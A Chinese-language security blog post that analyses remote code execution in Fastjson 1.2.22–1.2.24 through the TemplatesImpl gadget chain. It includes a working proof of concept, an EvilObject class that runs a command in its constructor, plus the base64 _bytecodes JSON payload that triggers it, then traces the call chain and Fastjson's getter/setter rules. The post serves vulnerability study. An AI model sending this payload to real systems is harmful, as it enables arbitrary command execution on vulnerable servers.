Fastjson反序列化之TemplatesImpl调用链

FastJson基础知识

Fastjson是Alibaba开发的,Java语言编写的高性能JSON库。采用“假定有序快速匹配”的算法,号称Java语言中最快的JSON库。项目地址:https://github.com/alibaba/fastjson

简单举个例子说明Fastjson的使用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class FastJsonDemo {
public static void main(String[] args){
User user = new User();
user.setAge(18);
user.setName("Tom");

//序列化
String eneity = JSON.toJSONString(user); //eneity:{"age":18,"name":"Tom"}

//指定序列化后的type
String eneity2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(eneity2);

//利用parse()反序列化
User user1 = (User) JSON.parse(eneity2);
System.out.println(user1.getName());

//利用parseObject()反序列化,返回的是一个JSONObject对象
Object obj = JSON.parseObject(eneity2);
System.out.println(obj);

//返回指定的对象
Object obj1 = JSON.parseObject(eneity2,User.class);
System.out.println(obj1);
}
}
Output:
{"@type":"Day10.User","age":18,"name":"Tom"}
Tom
{"name":"Tom","age":18}
Day10.User@b2bfe1

另外要知道反序列化的2个方法(parse()parseObject())的区别:

1
parseObject()本质上是调用parse()进行反序列化的,只是在最后多了一步**JSON.toJSON**操作。所以在反序列化的区别是:parse()会识别调用目标类的setter方法,而parseObject()会额外调用getter方法。但是这两个都会调用一些特殊的getter方法(后面会讲)

漏洞利用

Fastjson在进行反序列化操作时,并没有使用默认的readObject(),而是自己实现了一套反序列化机制。我们通过操作操作属性的setter getter方法结合一些特殊类从而实现任意命令执行

TemplatesImpl利用链

实质:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行

利用条件

Fastjson Version:1.2.22-1.2.24 因为之间的版本支持SupportNonPublicField
使用parseObject()时:JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
使用parse()时:JSON.parse(text1,Feature.SupportNonPublicField);

虽然利用条件比较苛刻,但是漏洞思路还是值得学习的。

漏洞分析

将环境搭建起来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
EvilObject.java
public class EvilObject extends AbstractTranslet {

public EvilObject() throws IOException {
Runtime.getRuntime().exec("calc");
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}

public static void main(String[] args) throws Exception {
EvilObject evilObject = new EvilObject();
}
}

将EvilObject.java编译供后面使用
TemplatesImplPoc.java
public class TemplatesImplPoc {

public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());

}

public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\org\\lain\\poc\\TemplatesImpl\\EvilObject.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}
public static void main(String args[]){
try {
test_autoTypeDeny();
} catch (Exception e) {
e.printStackTrace();
}
}
}

开始分析

在parseObject()处下一断点,简单走一遍流程

首先会将传入的参数进行一些处理(去除_)
2019-05-13.10.49.01-image.png

处理_bytecodes

2019-05-12.20.39.58-image.png

跟进bytesValue()
2019-05-12.20.40.49-image.png
这里对_bytecodes进行了base64解码,所以应该将传入的_bytecodes进行base64编码

当处理_OutputProperties时也先会将_去掉,然后调用该属性的get方法:getOutputProperties()

2019-05-12.20.44.53-image.png

跟进newTransformer():
2019-05-12.20.45.52-image.png

跟进getTransletInstance():
2019-05-12.20.48.09-image.png

_name的值不能为null,跟进defineTransletClasses():

这里对_bytecodes的内容进行了解析,得到类(_class[0])为org.lain.poc.TemplatesImpl.EvilObject,且判断了父类是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
2019-05-12.20.56.36-image.png

然后返回到TemplatesImpl去调用newInstance()实例化上一步得到的类,在实例化时,调用了构造方法,执行命令
2019-05-12.21.01.44-image.png
2019-05-13.10.28.32-image.png

pop攻击链:
getOutputProperties()-->newTransformer()-->getTransletInstance()-->AbstractTranslet.newInstance()-->...-->Runtime.exec()

首先_bytecodes会传入getTransletInstance()中的defineTransletClasses()defineTransletClasses()根据_bytecodes去得到_class,最后调用newInstance()defineTransletClasses返回的_class进行实例化 查看如何构造此调用链:

查看调用getTransletInstance()的方法:
2019-05-12.21.25.26-image.png

查看调用newTransformer()的方法:
2019-05-12.21.26.47-image.png

发现getOutputProperties(),根据Fastjson解析时,会调用属性的get方法,所以设置在poc中设置OutputProperties属性,使得解析过程中调用getOutputProperties(),形成pop链

调用链:
2019-05-13.11.21.29-image.png

POC分析

@type

指定的解析类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在poc中,_bytecodes_name都是私有属性,所以要想反序列化这两个,需要在parseObject()时设置Feature.SupportNonPublicField

_bytecodes

是我们把恶意类的.class文件二进制格式进行base64编码后得到的字符串

_outputProperties

漏洞利用链的关键会调用其参数的getOutputProperties方法 导致命令执行

_tfactory:{}

在defineTransletClasses()时会调用getExternalExtensionsMap(),当为null时会报错,所以要对_tfactory 设值

_tfactory置空,defineTransletClasses()调用其getExternalExtensionsMap()时报错

2019-05-13.15.43.33-image.png

这里对poc的一些关键部分进行讲解
1.使用_OutputProperties参数为什么最终会调用getOutputProperties()方法进而触发后面的POP攻击链

这里涉及到FastJson解析流程,我们先引入一个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class User {
public String name;
private int age;
private Boolean sex;
private Properties prop;

public User(){
System.out.println("User()");
}
public void setAge(int age){
System.out.println("setAge()");
this.age = age;
}

public Boolean getSex(){
System.out.println("getSex()");
return this.sex;
}
public Properties getProp(){
System.out.println("getProp()");
return this.prop;
}
public String toString(){
String s = "[User Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
return s;
}
}



String eneity3 = "{\"@type\":\"org.poc.poclist.User\", \"name\":\"Tom\", \"age\": 13, \"prop\": {}, \"sex\": 1}";
//Object obj = JSON.parse(eneity3);
//Object obj = JSON.parseObject(eneity3);
Object obj = JSON.parseObject(eneity3,User.class);
System.out.println(obj);

输出:
User()
setAge()
getProp()
[User Object] name=Tom, age=13, prop=null, sex=null

我们可以看到:

1
2
3
4
5
构造函数被调用			
public修饰的name被序列化
private修饰的age 反序列化成功 setter函数被调用
private修饰的sex 未被反序列化 getter函数没有被调用
private修饰的prop 没有被反序列化 但是getter函数被调用

这里的sex与prop都为private变量,且都无setter方法,但是prop的getter函数被调用,sex的没有。出现这个差异的原因就是
我们构造poc的关键。

查看源码我们会发现,JavaBeanInfo将目标类的方法与字段遍历一遍,区分情况进行处理,会将满足条件的方法添加到fieldList列表当中 供后面的反序列化操作进行调用。
这里限制加载一些方法:

2019-05-13.14.10.18-image.png

满足条件的setter:

1
2
3
4
方法名长度大于4且以set开头
非静态函数
返回类型为void或当前类
参数个数为1个

满足条件的getter:

1
2
3
4
5
方法名长度大于等于4		
非静态方法
以get开头且第4个字母为大写
无参数
返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

我们上面例子中的getProp()返回类型为Properties,而Properties extends Hashtable,而Hashtable implements Map,所以getProp()会被调用而getsex()没有,那么当该get方法中存在一些危险操作的调用链,就会造成任意命令执行。这里前辈们找出了getOutputProperties()
当解析参数OutputProperties时,会利用反射执行getOutputProperties()

2019-05-13.15.15.42-image.png

执行getOutputProperties()方法,最终会调用getTransletInstance(),而getTransletInstance()会根据
_bytecodes而生成类的实例。再者因为传进去的参数都会经过 key.replaceAll("\_", ""); 处理,所以使用_OutputProperties参数最终会调用getOutputProperties()方法进而触发后面的POP攻击链。另外如果想反序列化上面的private变量sex(与poc中的_name _bytecodes类似),需要parseObject操作时设置Feature.SupportNonPublicField

总结下就是Fastjson反序列化jsonStr时:

1
2
3
parse(jsonStr) 构造方法+Json字符串指定属性的setter()+特殊的getter()							
parseObject(jsonStr) 构造方法+Json字符串指定属性的setter()+所有getter() 包括不存在属性和私有属性的getter()
parseObject(jsonStr,*.class) 构造方法+Json字符串指定属性的setter()+特殊的getter()

2.为什么要对_bytecodes的值进行base64编码

当解析参数_bytecodes时,在JSONScanner中会对其值进行base64解码,所以在传入时需要对_bytecodes的值先进行base64编码

补丁绕过

看之后文章

参考链接

https://paper.seebug.org/636/
http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
https://xz.aliyun.com/t/178#toc-0
https://www.cnblogs.com/afanti/p/10193158.html
https://p0sec.net/index.php/archives/123/